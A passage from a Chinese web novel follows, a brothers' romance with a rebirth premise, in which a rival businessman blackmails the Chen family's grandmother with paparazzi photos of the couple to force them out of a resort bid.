当他意识到,陈宗礼参与竞标的项目就是巴库斯的时候,冷汗直冒。 所以,他宁愿编一个谎言,也不希望陈宗礼来A国。 …… 陈一诺掩饰着尴尬,解释道:“我是怕你两头跑太累,反正,一星积攒了不少事务要处理,我回来顺便跟董焱见面了。” “但如果你想我,来一趟A国,也是可以的。” 陈宗礼垂眸看着他,问道:“陈一诺,你在哄我啊?” 陈一诺点头:“嗯,哄好了么?” 陈宗礼手指在桌上敲了敲,眯眼看着屏幕那边的陈一诺。察觉自己对小卷毛越来越无法招架。 他叹气:“董焱的想法,很大胆。但越大胆的想法,意味着执行难度越高。” “巴库斯不是小项目,我们文旅经验不足,这边还有羽南港的项目在进行。无论从哪方面判断,都不算值得合作的项目。” “要不是想报恩,我觉得没有合作的必要。” 陈宗礼分析跟陈一诺想的不谋而合。 但他还是问:“如果撇开项目和报恩,如果我们不帮董焱,他一个人斗不过董嘉华跟贺朗。如果董氏集团跟贺朗捆在一起,他就真的要东山再起了。” 这下,轮到陈宗礼不懂了,他问:“一诺,你为什么非要把贺家赶尽杀绝?” 陈一诺被问住了,不知如何回答。 在外人看来,贺家两个儿子已经锒铛入狱,贺朝阳更是瘫痪成了“废人”。整个贺家在港城几乎消声觅迹,年过半百的贺朗,放弃港城到A国企图东山再起。 都说穷寇莫追,陈一诺却没放过他,一心将他置于死地。 为什么呢? 陈一诺有口难言,如果他说,因为我是重生回来,按照上辈子的时间线,危机还没过去,你的生命还有危险。只要姓贺的还有一线生机,对于陈家来说,就是一个“定时炸弹”。 这一切,只有天知地知陈一诺知,他没发透露半个字…… 但恋人之间,坦诚是基石,陈一诺却做不到。 他心里是愧疚的,只能胡说八道:“因为,直觉告诉我,贺朗对我们的威胁还在。我只能斩草除根。” 陈宗礼安安静静听着陈一诺说完,眼睛定定看着手机屏幕。 从邮轮中枪,陈一诺企图用自己的生命,把贺朝阳弄死,他就觉得他隐藏了什么。 到现在,他还有这种感觉,但具体是什么,陈宗礼始终猜不透。 陈宗礼冷淡问道:“威胁?你确定?” 陈一诺咽了口口水:“当然。你看,他败走港城后,立刻在董氏集团的高层会议里出现,被董焱讽刺羽南港没赢过我们,还当场发脾气。他的野心,和对我们的不满,还不够明显吗?!” 陈一诺的话,总是半真半假,陈宗礼无法辩驳,只能妥协:“所以,为了阻止贺董两家的合作,你也要帮董焱,是这个意思吗?” 陈一诺点头:“其实,我个人觉得董焱的想法虽然抽象,但固有的房地产模式已经饱和了。他的想法有可能颠覆房地产的发展模式。” “一旦巴库斯获得成功,这条路子能复制到港城,甚至内地。” “等我们把巴库斯做成文旅连锁品牌,这就带动新一波房地产红利,我真觉得可以试试。” 陈宗礼并没有被他糊弄过去,但他选择跟着陈一诺的思维走。 坐在陈宗礼的位置,说出的话就是决定,很少有人反驳。一是经验不足,二是胆量不足。 陈一诺从羽南港项目开始接触房地产业务,不过一年时间,对房地产模式已经摸透了,并且突破固有框架,判断出新的商机。 从小到大,陈一诺总有让陈宗礼觉得眼前一亮的时候,而且,越来越精了。 “陈宗礼,魂丢了?”不知道陈一诺喊了几句,他才慢慢回过神来。 他问道:“如果按你说的合作,我有什么好处?” “你……”陈一诺哑然,心想:我救你命呢,你还要什么好处? 但老婆要好处,他能拒绝么?在商言商地问道:“你想要什么?” 陈宗礼勾勾唇:“下次见面,你骑一次橙。” …… 冬去春来,A国温度上升不少,巴库斯沿海风平浪静,沙滩上不少“晒日光浴”的旅客。 陈一诺在巴库斯沙滩旁的海鲜餐厅,面前是一望无际的海景。 海景却没有手机吸引,他的目光始终停留在跟陈宗礼的对话框,一小时了,陈宗礼还没回复。 他的手指烦躁地在桌面敲,腿不自觉地抖动。 忽然,一股橙子味略过鼻尖。粗糙的橙皮擦过他的脸,身后有人说道:“好好的海景不看,看手机有什么意思?” 陈一诺抢过那人手里的橙子,悄无声息地松了口气:“你一直不回我消息,以为你怎么了。来得挺快!” 陈宗礼搭乘私人飞机,从港城出发,一直到巴库斯降落,非常低调。他这次来,就是为了实地勘察。 “开了一个临时会议,没看消息。这不是给你带礼物,负荆请罪么。” 陈宗礼身着黑色廓形长风衣,头戴着一顶细格猎鹿帽,像一个英伦绅士。他拉开椅子坐在他旁边,不怀好意地看着陈一诺。 那通视频过后,连续两周,陈一诺看到橙子,耳尖就红。 他“切,这也算礼物?”,抛着橙子玩。 “赶紧干完正事赶紧回去。可不能让董嘉华知道你来了。” 陈宗礼看看四周,诺大的餐厅被陈一诺包场,除了保镖没有其他人。 “董焱呢?” 陈一诺朝阳台那个魁梧的背影,扬扬下巴:“呐,刚打完电话。” 牛仔外套配背心的董焱,从阳台进来,习惯看他穿西装,看他这身打扮,一下子穿越回第一次见面的时候。 董焱对陈宗礼打了个招呼:“来了?” 陈宗礼点头:“嗯,刚到。” 董焱走到餐桌旁,自顾自拿起陈一诺放在桌上的橙子,二话不说,就剥了皮,橙子的味道破皮而出,芳香四溢。 他吃了两片,夸道:“挺甜。” 说完,他垂眸发现陈一诺直愣愣地看着自己,表情似乎很生气。 他打量着桌上,发现只有一个橙子,好像有些懂了,问陈一诺:“我吃了你的橙?” 陈一诺难以置信地看着董焱,说道:“吃之前不问,吃了你才问?知道这橙子代表什么么?” 董焱没想到,居然有人为了一个橙子生气的。惊讶道:“代表什么?” 代表老子男朋友千里送橙的情!趣! 现在被你这个二百五吃!了! 陈宗礼眼疾手快,从董焱手里抢了两片橙,塞到陈一诺嘴里,解释道:“代表他也想吃!” 陈宗礼凑到他耳边哄道:“行了,别生气。跟他计较什么呀……” “不是赶紧看完,赶紧回去?走吧!” 第109章 “你确定董嘉华的眼线,看见我们去巴库斯?” 公寓内,刚从浴室出来的陈一诺裹着浴袍,信守承诺骑了一次橙,浴袍下双腿的肌肉还在发抖。但在下属面前,他只能努力装出体面。 聂加那双狐狸眼弯弯的,他笑道:“老板,如果不确定我不会跟你汇报。” “请不要质疑我们的能力。” “……” 陈一诺滞了滞,说道:“行,盯着董嘉华和贺朗,他们要是有下一步行动,立刻告诉我。” 聂加点点头:“好的。”转身离开公寓。 陈宗礼靠坐在沙发上,双手搭在两侧,满脸餍足。撩起眼皮扫向聂加的背影,嘴角扬了扬没说话。 等人走了几分钟,陈一诺才反应过来,对陈宗礼抱怨道:“现在保镖那么拽了?我就多问一句,还成质疑了?” “这是不是叫……向上管理?他在向上管理我?!” 陈宗礼伸手把人拉到自己大腿上坐下,浴袍下摆短,大腿根的位置被“犹抱琵琶半遮面”地遮住,引人遐想。 陈宗礼收回视线,凑到他颈侧,安慰道:“要是他有拽的本钱,至少你很安全啊。” 陈一诺立刻被说服了,双手圈着陈宗礼的脖子,说道:“那倒也是。” 有能力的人性格拽,你会容忍他的个性。但陈一诺见过许多没能力,性格还拽的,那更让人恶心。 陈宗礼的大手熟捻地按着陈一诺的腰:“还疼不疼?” 陈一诺警惕道:“疼不疼,都不来了……你太久了……” 陈宗礼笑笑没说话,拿起手边的干净毛巾,擦着滴水的卷毛脑袋,问道:“之前还希望行程保密,现在让董嘉华发现了,怎么办?” 陈一诺的声音隔了一层毛巾,说道:“没办法,董焱是他现阶段重点监视对象,A国又是他地盘,很难不被发现。” 毛巾被掀开,一头卷毛被陈宗礼揉得乱糟糟,像一只被蹂躏过的落水小狗。陈宗礼笑着用手梳理杂乱的卷毛,满手柔软。 陈一诺自顾自道:“董嘉华在董焱身边也安插了眼线,趁机清洗了几次,现在就剩自己人了。” “反正,被他们发现了也好,董嘉华外强中干,有野心但没定见,这种人遇事先找主心骨,现在保不齐已经在跟贺朗求救了。” “我们呢,就等他们出招。到时候,敌在明,我们在暗,他们才是要成天提心吊胆的。” “后面的事,你不用担心。赶紧回港城。回程的车,私人飞机,我都提前叮嘱聂加检查过。” 陈一诺慢慢叮嘱着,他的安排妥帖得过分,明明是“弟弟”,却扮演着照顾人的角色。 身后的阳光穿过树荫慢慢散落在他背后,背光的陈一诺像叠了一层虚影,让陈宗礼看得不真切。 陈宗礼心头忽然发紧,手按在他的腰上,把他拉近身前,那层虚影消失不见,发紧的心口才再次舒展开。 上斜眼盯着陈一诺的眼睛,犹豫了片刻,忍不住问道:“我记得,你刚到港城的时候,很讨厌保镖,怎么后来不但自己请了,还专门雇了银狼这种级别的?” 查吴奇、找保镖、联系莫多里。 这三件事,是陈一诺重生后第一时间安排的。 事实证明,每件事都精准帮他避开上辈子的麻烦,让他一路顺风局走到今天。 其中,雇银狼作为贴身保镖,先是抓捕古德庆,接着在邮轮上,拦截贺朝阳的船,最后开枪救了陈一诺。 桩桩件件,都证明,他找银狼当保镖是一个无比正确的选择。 一如陈宗礼所说,银狼总部在A国,在整个安保行业内,有着堪比“雇/佣/兵”级别的安保实力。其中,陈一诺最看重银狼的跨国安保能力。 像陈家的保镖,通常跟港城本地的顶级安保公司合作。如果要出国,会临时跟国外的安保公司合作,增派当地保镖支援。但银狼的保镖能在港城、内地、各个国家自由工作。为此,对保镖人才筛选相当严苛,像聂加这种级别的,更是稀缺。 过去,银狼的主要业务,是保护国家政/要,或者像董嘉裕这种仇家众多的黑/帮头目。普通的豪门、商人很少这样的需求,甚至,都不知道有这样级别的安保公司存在。 因此,在陈宗礼看来,陈一诺从回国那天起,雇佣银狼作为贴身保镖,是一个很奇怪的信号。 仿佛他早就料到自己会面临人生安全的威胁。所以,非常有先见之明地花大价钱,雇佣他们。 为了印证自己的猜测,陈宗礼继续说:“我问过王律,他说,回国前,你也没遇过威胁人生安全的事,偶尔出入重要场合才会带保镖。但回港城的时候,却千叮万嘱他务必找银狼。” “你是早料到可能会跟贺朝阳他们杠上?但你回国的时候,最恨的人应该是我啊。” “所以说,最开始你请保镖,是为了防我?” “当然不是……”陈一诺连忙解释。先是没想到,王之初,他的好朋友,居然轻易就把自己的卖了!更没想到,陈宗礼会那么细心察觉到这问题……或者,会敏感地察觉,这是个问题。 “那你在怕什么?怕得你要赶紧让我回去,要让聂加专门检查我的所有交通工具。” 陈宗礼的问题过于直白,以至于陈一诺完全没有回避的空间。 陈一诺左右大脑在互搏,在坦白真话和假话之间犹豫。 再三衡量下,他觉得这个关头,不说实话。 “我确实有点后怕。回国前,一星内部揪出一个财务总监,他当时被贺朝阳收买当商业间谍。” “一想到贺朝阳花那么久的时间,在我身边安插一个间谍,我就心有余悸。” “再后来,对庄宝瑶,对李家纯做的那些事,都太阴险了,防不胜防。最后我还差点死了……” “贺家人,天生带着为达目的不择手段的基因。我要是不赶尽杀绝,真给他时间东山再起,那就一切都晚了!” “我只是想,万一他们鱼死网破,至少在武力上,我不能输,所以才请了保镖。” 他说这些的时候,把上辈子的悲愤情绪,全部压制在心底,然后有理有据,逻辑清晰,表现出云淡风轻的模样,巧妙躲开陈宗礼的审视。 半晌,陈宗礼收回目光,问他:“真的吗?” 陈一诺顿了顿,强行扯出一点笑容:“当然是真的。” …… “叩叩——” 敲门声,打断了他们的对话,陈一诺从陈宗礼怀里站起身,在外人面前拉开距离,才说:“进来吧!” 陈宗礼的助理小童走进来,毕恭毕敬:“陈总,时间差不多了。” 两人相聚的时间,前后加起来不到五小时。陈宗礼怀里还残留着陈一诺的体温,转眼又要分开了。 陈宗礼从沙发上起身,面无表情对小童说:“知道了,走吧。” 陈一诺心里一沉,恋人之间的默契,让他知道陈宗礼生气了。 果不其然,陈宗礼走到门口时,忽然转身,上斜眼盯着他看,脸色冷得吓人。 良久,说了句:“陈一诺,你还说我遇事总想着一个人处理,你不是也一样么?” “说话一半真一半假,还以为我听不出来。挺能耐啊!” “觉得我好骗是吧?” 说罢,在小童复杂的表情中,陈宗礼离开了陈一诺的公寓。 …… “老贺,陈家兄弟真的跟董焱合作!这下可怎么办?” 董嘉华收到线人消息,说董焱跟陈家兄弟一起勘察巴库斯,立刻坐不住了,愁眉苦脸地跑到贺朗家寻求帮助。 贺朗看他火急火燎跑来,还以为发生什么事。 满脸少见多怪:“在麒麟的时候,他们不就打过照面了?你还惊讶什么?” 董嘉华擦擦额头上的汗:“哎呀,我以为董焱那种目中无人的性格,跟谁能混到一起去?!可现在,几个年轻人都一起去巴库斯勘察了,这事肯定要成!你说怎么办嘛?!” 换作以前,贺朗都懒得应酬他。但如今,他要依靠董氏集团的资源东山再起,只能按耐着脾气。 “你也说了,董焱性格目中无人,陈家兄弟也就是毛头小子。合作又怎样?经手的房地产项目有我多吗?你着什么急?” 都说,皇帝不急太监急。 在董嘉华眼里,成了皇帝很急,太监不急。贺朗两个儿子怎么折在陈家兄弟手上的,他略有耳闻。如今,贺朗都已经落到如此地步了,还不紧不慢。 他语气难得强势:“老贺,我安插在董焱身边的人,一个个都被揪出来了。他没有你想的简单!陈家兄弟也一样!” “现在确实只是勘察,未必会合作。但未雨绸缪啊……万一他们真的联合起来,我们不就被动了吗?” “再说了……”董嘉华瞥他一眼,“陈家兄弟有多难对付,你比我清楚啊。” 贺朗正喝着茶,听到这句话,捏着茶杯的手紧了紧,额上青筋跳了跳。 他强压着怒火,说道:“那你想怎么样?” 看贺朗总算有帮忙的意思,董嘉华连忙道:“有什么办法,能制造点动静,让姓陈的俩兄弟无暇顾及巴库斯。” 贺朗冷笑:“最好,这些动静发生在港城。把他们注意力全部集中在那边。” 董嘉华愁得像猴子似的脸,总算舒展开了,抚掌道:“哎呀,那是自然是最好了!” …… 董嘉华满意地离开后,贺朗在书房内坐到热茶凉透。 管家带了两个佣人进来,指着散落在地毯的茶杯碎片:“把碎片收拾干净。” 转头问贺朗:“律师来电话,说二少爷昨晚发高烧,被送到医院治疗;大少爷一直要求跟您见面,您看……” “砰——”一声巨响,贺朗直接把茶壶砸到窗上,留下一个蜘蛛网状的裂口。 吓得佣人们连忙捂着耳朵蹲下。 贺朗低声道:“一个脑残,一个残废!沦落到这种地步还好意思让我去看他?!一个都不见!” “什么叫一个脑残,一个残废?!” 吴丹妮听见砸窗户的声音走过来一探究竟,刚好听见这句话。 自从儿子们进监狱,吴丹妮老了十岁,她情绪激动:“他们不是你的儿子吗!不是为了讨好你,他们至于都在坐牢吗!你说的什么话!!” “有你这么当父亲的吗!” 贺朗站起身,拎起吴丹妮的领子,厉声道:“讨好我是他们的本分!” “连我都讨好不了,他们凭什么坐我的位置?!” “现在,我沦落到这种地步,低声下气给姓董的擦屁股,都是托你儿子无能的福!” “不准你这样说我儿子!!”吴丹妮双手挣扎着,在他手臂上乱滑出大大小小的红痕,怒发冲冠的贺朗一手把她推开。 “嘣——”一声闷响,晕了过去。贺朗喘着粗气,对管家说:“还看!赶紧叫医生!” “是!”管家匆匆离开。 这时,电话响起,贺朗看了眼来电,接通电话:“喂?” 适才的暴怒,在听到对方几句话后,恢复平静,残暴的三白眼里,透露出些许兴奋。 他若无其事地走出书房,留下身后的狼籍,边走边说:“怀疑他们谈恋爱?有证据么?” 第110章 港城,天峻集团办公楼内,陈宗礼跟负责羽南港项目的工作人员,进行内部会议。异地的陈一诺通过视频会议远程参与。 助理小童凑到陈宗瑜耳边问:“宗瑜姐,今天老板怎么了?气压好低啊!” 陈宗瑜撇撇嘴,何止陈宗礼气压低,陈一诺的表情也好不到哪里去。 她反问:“你问我,我还想问你呢。他从A国回来就怪怪的。你不是陪着一起去吗?发生什么事了?” 小童摸摸脑袋,努力回忆:“好像没什么特别的呀。就是在巴库斯的时候,那个董焱抢了小陈总的橙子,两个人差点吵起来。” “那时候,老板还在旁边看热闹,笑得挺开心的呢。” 陈宗瑜无语道:“橙子?什么乱七八遭的……” 对面一个胖经理正对着大屏幕,讲解羽南港一期的企业进驻情况。 在陈一诺和zf专项小组的齐心协力下,目前谈下十家企业进驻,其中包括两家世界500强。 胖经理:“目前,羽南港一期规划是一栋办公楼,PG和联华这两家世界500强,都希望在办公大楼的楼身加自己的集团LOGO。让外人一眼就能看见他们的办公室。” “但是,他们部分业务属于竞争关系,希望楼身只出现自己的LOGO。双方闹了一周,现在有点僵。小陈总,您看……” 世界500强是陈一诺谈回来的,胖经理自然希望征询陈一诺的意见。 视频那头,陈一诺刚要开口,陈宗礼先一步打断:“没什么好争的。干脆楼身都不能挂LOGO。” 最近,陈宗礼跟陈一诺单方面冷战,消息只回一两个字,电话只说一两句话,会议上倒是会抢话了。 陈一诺脾气再好也忍不了,何况他本来就是狗脾气。 直接杠道:“为什么不挂?当然要挂!企业就是要有特殊待遇,要有优越感!” “但不是谁都能挂,谁的租金最高,办公室面积最大,LOGO位就给他。PG和联华谁租的办公室最大?” 胖经理翻看资料:“应该是PG。但万一联华有意见……” 陈一诺反应很快:“一期就让PG挂,联华要是不服,等二期建完,让他们搬去新办公楼,到时候挂他们的LOGO不就好了。” “这种噱头,从羽南港第一期延续到后面几期的招商,大企业肯定喜欢的。” 极端的两个说法,让胖经理听懵了。他左看看主席位的陈宗礼,右看看视频会议上的陈一诺。两个人都冷着脸,都坚持己见。 “那……这……到底是让挂,还是不让挂啊……” 陈宗礼不说话,假装看手机,陈一诺也不说话,在视频对面噼里啪啦敲键盘。 两个总裁似乎都在说:我已经意见说完了,你看着办! 压根不在乎会议室内其他人的死活。 卑微的打工人,把求救的目光投向陈宗瑜,全天峻最能掌管陈宗礼脾气的神。 可怜的眼神仿佛在说:宗瑜姐,你管管他们呢! 陈宗瑜心想:我也就是个打工人,我还能管得了他们?! 但会议流程很多,再僵持下去这会就开不完了。 她只能叹口气,身体前倾,用商量的口吻跟陈宗礼道:“既然招商是小陈总在谈,那不如……就按他的意思来?” 陈宗礼撇了她一眼,不可置否:“随便!” …… 低压十足的会议,在一小时后结束,所有人火急火燎地逃离会议室。 会议室内,只剩下陈宗礼和陈宗瑜两兄妹。 陈宗瑜靠着桌沿,看向陈宗礼:“你跟一诺哥哥吵架了?” 陈宗礼表情冷漠没说话,眼睛盯着电脑屏幕,视频会议已经结束,那人下了线,跑得无影无踪。 从A国离开时,陈宗礼以为已经把态度说清楚了,回港后两人有过一通电话。他在等陈一诺主动坦白。结果对方还是顾左右而言他。 这让陈宗礼更窝火,于是,两人确定关系后第一次冷战。 陈宗瑜受不了地叹气:“哎哟,我最受不了冷战了。” “你们两个感情不是挺好的么,有什么不满,就直接说清楚啊!” 陈宗礼揉了揉鼻梁,终于开口:“是他不肯跟我说实话。我能有什么办法?” 陈宗瑜很惊讶,她一直以为,陈一诺才是这段感情里吃亏的那个。毕竟陈宗礼一看就是面瘫,没情没趣,冷冰冰的,难得看见陈宗礼因为陈一诺焦头烂额。心里还觉得挺有意思。 她心里偷笑,表情却替他担忧似的,猜测道:“具体什么事啊?兴许,一诺哥哥有苦衷呢?” 有苦衷?什么苦衷? 从A国回来,陈宗礼想了很久,惊讶于完全想不通陈一诺有什么苦衷! 以前,陈一诺最大的心病就是被遗弃。 自从,他们的关系被陈家人承认后,陈一诺的心病好了七八成。可他还是觉得陈一诺有事情隐瞒。 到底是什么?陈宗礼想不明白。 “老板!” 去而复返的小童再次出现在会议室。 陈宗礼挑眉:“有事?” 小童说道:“建盛集团总裁,贺朗贺总的秘书给我电话,他说,想跟你见一面。” 陈宗瑜听见贺朗的名字,警铃大作,她皱眉:“那老狐狸不是躲在A国吗?怎么突然回来了,还约你?” 小童一脸尴尬,双手叠在身前:“具体什么事,他秘书没说,就是问您今晚是否有空,想一起吃个饭。” 陈宗礼手指在桌面点了点,抬眸:“行,时间地点发我手机。” 陈宗瑜连忙站直了:“鸿门宴你也去啊?” 陈宗礼冷声道:“鸿门宴才要去啊!” …… 贺朗的“鸿门宴”定在利园,陈家最爱去酒楼。 按照约定时间,司机把车停在利园门口,打开车门,陈宗礼的腿刚沾地,余光就瞄见一道闪光灯闪过。 他皱了皱眉,还是径直往利园门口走,没走几步,迎面看见吕经理站在门侧。 看见他,奉上礼貌的笑容,迎上来道:“陈先生来了?” 陈宗礼颔首:“吕叔。今晚约了贺伯伯。” 吕经理点头:“知道的,贺总吩咐我带你过去。跟我来吧。” 吕经理的年龄跟兰姨相仿,年过六旬依然看得出年轻时候很帅。 老太太欣赏吕经理的韧性,从泊车小弟一直做到利园总经理,从小帅到老,是名副其实的利园“园草”。到了退休的年纪,依然每天穿着精致的西装,在利园迎来送往。 以至于,每次来利园,老太太总要嚷着:“让老吕下单~” 陈宗礼跟着吕经理一直往里走,穿过曲径通幽的走廊,抵达利园的后花园。跟前院的热闹气氛不同,后院是私密包间安静许多。 往日,老太太更喜欢前院,前院热闹,还容易遇见老友。港城人喝早茶,不就奔着一盅两件和见老友来的么?自然是越热闹越好。 走到包间门口,吕经理代为敲门。贺朗的声音传来:“进来!” 门打开,第一眼先看见贺朗那双标志性的三白眼,接着目光移向坐在他旁边的那人。 贺朗敞亮地笑道:“宗礼来了,别愣着了,坐吧!” 陈宗礼身后的门被吕经理关上,包间是一间湖面玻璃房,窗户正对利园的湖景,是一个湖景包间。 包间内装修风格古色古香,吃饭的圆桌和椅子,都是高级大红酸枝,非常气派。 陈宗礼走到圆桌前,对贺朗旁边那人颔首,喊道:“奶奶。” 靛蓝配白套装的老太太,脖子戴着珍珠项链,看见陈宗礼并不惊讶,只挂着淡淡的笑意,朝他点头:“来了?” 陈宗礼跟老太太对视一眼,想从她的目光里获取一些信息,看看他来之前,贺朗跟老太太是不是已经谈了些什么。 可从老太太一脸轻松的表情来看,似乎还没开始。 他看向不怀好意的贺朗,表情镇定,心中却难掩忐忑,他才猜不出对方葫芦里卖什么药。 替贺朝阳求情,要求从轻发落?想要其他什么合作?还是别的…… 他脑子快速转动,表面冷静地拉开距离自己最近的椅子坐下,跟老太太左右夹攻贺朗,三个人形成等边三角形。 贺朗笑面虎似,说道:“人齐,那我让吕经理上菜,咱们边吃边聊……” 老太太不置可否,陈宗礼却拒绝得很直接,他选择单刀直入:“贺伯伯,还是先聊正事吧。不然,这顿饭我是吃不下的。” 老太太随之应和:“是啊。老贺,咱们先聊吧。饭天天都吃,不着急。” 贺朗看看老太太,又看看陈宗礼,也不装了,直接靠着椅背,笑笑:“行,我也喜欢直接点的。” “老太太,我听嘉华说,宗礼和一诺,打算跟董焱联手参加巴库斯的招标,这事您知道吗?” 贺朗是来告状的?陈宗礼觉得魔幻。 董嘉华居然说得动贺朗,让他大老远从A国飞回港城,劝这么鸡毛蒜皮的小事?他禁不住疑惑,董嘉华至少许给贺朗半副身家,才请得动这只老狐狸吧? 老太太手指捏着茶杯,一脸淡然:“是吗?我老太婆早就退休了,宗礼他们喜欢跟谁合作,我也管不着啊。” 贺朗点点头,自嘲道:“老太太,您有两个好孙子啊。什么事都不用操心,不像我,儿子不懂事……我六十多了,还要为生计奔波。” “但话说回来,宗礼啊,董家内部的事,你们掺合干嘛呀?” 陈宗礼忍不住,笑他五十步笑一百步:“贺伯伯说的什么话呀,您不是也在掺合董家的事么?” “我跟一诺,只是对巴库斯这个项目感兴趣。所以才跟董焱聊到一起。他们家内斗的事,我们一点都不清楚啊。” 贺朗非常不客气地剜了他一眼:“宗礼,这话我就不信了。大家都是无利不起早的商人,在商言商,你不可能免费给董焱帮忙吧。” 陈宗礼坦然道:“贺伯伯,不是每个商人都无利不起早的,我就喜欢睡懒觉。” “再说,我对董家内部的事,真的不感兴趣。爱信不信。” 贺朗依然笑笑:“那既然你这么说,不如卖贺伯伯一个面子,你们退出巴库斯的竞标,行不行?” 陈宗礼慢慢喝完手里的大红袍,味太浓了,他忍着苦涩咽下,说道:“抱歉,不行。” 贺朗脸上的笑容慢慢静止,最后消失,原本笑眯眯的三白眼露出阴狠。 “如果是这样,就别怪你贺伯伯,把这些照片交给记者了。” 说完,从背后拿出一个文件袋,推到圆桌的转盘上。 哦,原来大招在这儿呢。 转盘推到老太太面前,老太太利落拿起文件袋,掏出里面的东西——是一叠照片。 老太太盯着第一张照片看了一会儿,又快速看完第二、第三张照片,表情非常严肃。 包间内安静得针落可闻,只有老太太翻看照片机械的“唰唰”声。 贺朗自斟自饮:“哎呀,第一回看到照片我也不信。都说陈家兄弟关系亲密,没成想能亲密到这种地步啊……” 他像一条吐信子的毒蛇,慢悠悠地戳出致命一刀:“老太太,您有两个好孙子啊!”—— 作者有话说:反派不容易,反派也要懂callback……魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 110-120 第111章 “你也看看吧。” 适才笑眯眯的陈老太,忽地没了表情,明显是强压着怒意。她把照片放到圆桌的转盘上,手一拨,转到陈宗礼面前。 陈宗礼从贺朗的冷嘲热讽,以及老太太的表情变化,有预感照片跟他和陈一诺有关。 他拿起照片,果然,是春节时,他跟陈一诺在涛声阁独处时拍的。 涛声阁内安保严密,狗仔队没法进去偷拍。但他跟陈一诺到小区外散步的时候,被狗仔偷拍到了。 当时是晚上,他们出门时穿得比较随意,连挡脸的围巾、口罩都没戴。 狗仔把他们的脸拍得非常清晰。不但脸清晰,动作也清晰。 前面一两张还是普通并肩走,后来拍到一个转角处,陈一诺牵起他的手。其实这些照片还能用“兄弟关系好”解释过去。 但最后一张,他们像两个早恋的学生,隐匿在街角的三角梅下,偷偷拥抱着,彼此贴得很近。 太黑拍不清楚,但陈宗礼知道,他们在那里浅浅接了一个吻…… 旁若无人的亲昵,是热恋情侣的情不自禁,结合当时刚被老太太允许,中间还掺杂着得意忘形。 陈宗礼也是第一次,从这样的角度,看见自己恋爱时的模样。警惕心全无,眼里只有对陈一诺的宠溺和爱意…… 可一想到,偷拍的人是贺朗,心中的无名火就慢慢燃起,逐渐升腾。 刚跟老太太约法三章,恋爱的事不能让外人知道,转头就让人拍下了,还落在贺朗手里,老太太只是脸色差,没开口骂,已经算很克制了。 偏偏贺朗还不知好歹说:“老太太,照片里的人都认得吧?” 他给自己又斟了一杯茶,三白眼打量着陈家祖孙,看他们的表情逐渐变得愤怒,感到满意。 老的不搭理他,只好把矛头对准小的。 “反正我觉得把宗礼和一诺拍得不错,两个明星似的。” “虽说兄弟之间牵个手,抱一抱很正常。但狗仔可不这样认为,首先李思维就是同性恋。” “你们还装过绯闻情侣,他们怀疑你也是同性恋顺理成章啊。” 他手指点了点照片:“这些照片,正好坐实这一点。” “当然,对于舆论来说,这件事的关注点,首先是你的性取向。其次是你的对象——你弟弟,陈一诺。” 说“弟弟”的时候,故意咬得很重。 他看向老太太,假惺惺地安慰:“老太太您先别激动,也别着急骂他们俩。情感的事,我们做长辈的挺无力的,根本管不了。你看,我儿子贺朝风,男女不忌,负面新闻压都压不过来。到你们眼前的新闻,都是沧海一粟。看不见的还有很多……” “但是,我们做父母的,还是会护短。自己知道是一回事,被狗仔爆出去是另外一回事。这些照片要是爆出去,对陈家影响得多大……” “您知道的,港城的狗仔为了吸引流量,最喜欢写耸动的标题。说你们陈家乱/伦,豪门兄弟搞同性恋,陈家要绝后……” “哎哟,我光是听着都觉得不舒服。到时候,这些舆论爆出去,天峻的股价怎么办?港城四大家族之首的陈家,五代人累积下来的名声怎么办?” 老狐狸以为老太太不知道他们的恋情,先是站在家长立场安抚一通,再告诉她爆出去的弊端。软硬兼施,像一条奸诈的毒舌,吐着信子,慢慢给老太太施压。 沉默许久的老太太,慢慢地抬眼看他。不过须臾,七旬老太太的慈眉善目就下班了,叱咤商场几十载的女强人上线,那道锐利目光,看向贺朗的时候,诡计多端的老狐狸如他,还是心头一震。 她没时间跟他虚与委蛇那一套,直接开宗明义:“贺总,我年纪大了,听不得弯弯绕绕的。按你的意思,只要他们俩退出巴库斯项目,这些照片就不会曝光,对吧?” 终于开始进入谈条件阶段,贺朗心里为老太太的镇定感到惊讶,脸上得意的气势不变:“我纠正一下,不止退出巴库斯项目,陈家所有人要彻底跟董焱划清界限。作为交换,这些照片就不会曝光。” 陈宗礼咬紧后牙槽,心里既有对贺朗的咬牙切齿,也有对奶奶的无限愧疚。 他着急道:“奶奶,这件事我们先讨论一下,再做决定吧……” “你闭嘴!”老太太利落打断了陈宗礼的劝阻,“你贺伯伯已经把事情说得够清楚,还有什么好讨论的?” 贺朗脸上挂着淡淡的笑,眼神如蛇蝎,满意看着两祖孙内讧,全是志在必得。 老太太的上斜眼从陈宗礼身上扫过,移向贺朗,淡淡道:“这件事,现在给你答复……” …… “奶奶,您走慢点……” 踩着小根鞋的老太太,一路风风火火“哒哒哒——”往前走,速度之快,七旬老太太直接把年轻力壮的陈宗礼狠狠甩在身后。 陈宗礼眼看老太太摆明拒绝沟通,干脆小跑到她前面,抢了司机的工作,“啪——”地替她开车门。 就在他以为老太太会无视他,直接上车时,老太太的小跟鞋“咔——”停在车门前。 她没有好脸色地吩咐陈宗礼:“你怎么谈恋爱还谈昏头了?!” “我错了。奶奶帮我。”陈宗礼老老实实,垂头挨骂,完全不敢反驳。 老太太歪头看他的脸,冷嘲热讽:“多新鲜,你还学会求人了。” 老太太转身准备上车,又顿了顿,吩咐道:“第一,不许跟我一辆车,第二,让陈一诺立刻回来!” 陈宗礼低声应道:“好。” 吩咐完毕,老太太这才抬脚上了车。 陈宗礼替她关好车门,站在利园门口,目送车缓缓驶开,脸色像冷冽的月。 库里南如鬼魅一般停到他身侧,正准备上车,一盏闪光灯在陈宗礼5米外闪了闪。 他抬腿朝狗仔的方向走,黑又深的眼眸里,全是浓浓的怒意。 本来,还在狂摁快门的狗仔,吓得差点把相机摔了。 等陈宗礼庞大的阴影笼罩他面前,他的相机已经被陈宗礼的大手拿起,“砰——”一下砸向灯柱。 他哑声警告:“别让我再看到你!” 狗仔还没回过神来,头上飘落十几张千元大钞,他着急捡钱,再抬头,浑身戾气的陈宗礼已经消失在街道。 …… 夜色匆匆掠过车窗,明明灭灭有种恍惚,白天和黑夜,让人觉得城市是两个折叠的时空。 库里南刚驶上高速,陈宗礼还在琢磨怎么跟陈一诺开口,陈一诺的电话就打来了。 明明还在冷战的两个人,冷战的格局,忽地被打破。只是打破的不是当事人之一,而是贺朗。 陈宗礼按下接听,电话另一端传来陈一诺的声音,伴着“呼呼”的风声,有些涣散。 “陈宗礼,你在哪儿?” 